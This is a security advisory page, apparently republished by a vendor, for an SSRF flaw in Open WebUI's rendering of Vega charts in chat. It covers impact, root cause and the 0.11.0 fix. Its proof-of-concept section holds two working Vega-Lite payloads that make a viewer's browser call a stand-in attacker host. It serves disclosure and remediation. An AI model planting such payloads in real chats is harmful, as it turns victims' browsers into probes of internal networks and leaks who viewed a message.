GHSA-rffm-9q57-q649 is a medium-severity (CVSS 4.1) Server-Side Request Forgery (SSRF) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Open WebUI: Client-side SSRF via unrestricted external resource loading in Vega/Vega-Lite chart rendering
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rffm-9q57-q649.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rffm-9q57-q649 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Open WebUI renders vega and vega-lite fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it.
Preconditions
Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little.
Impact
The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly.
Fix
Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose load always throws and whose sanitize resolves the URI with the browser's own URL parser and permits only data: and same-origin results, so charts can only use inline data.values. Upgrading is sufficient; no configuration change is needed.
Root cause
src/lib/utils/index.ts—renderVegaVisualizationsrc/lib/components/chat/Messages/CodeBlock.svelte— rendersvega/vega-liteblocks
The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: data.url and topojson/geo sources are fetched at view construction, and image marks pass their url through sanitize and are written into the output SVG as <image href>, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup.
Proof of concept
Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing.
{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"}
{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}}
The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline data.values charts still render.
Credits
- @Zureno — reported the issue and the
data.urlpath. - @Classic298 — identified the image-mark sink and authored the fix.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | ≥ 0.6.34&&< 0.11.0 | 0.11.0pip install --upgrade 'open-webui==0.11.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rffm-9q57-q649 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rffm-9q57-q649 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rffm-9q57-q649. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rffm-9q57-q649 in your dependencies?
O3 Security finds GHSA-rffm-9q57-q649 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.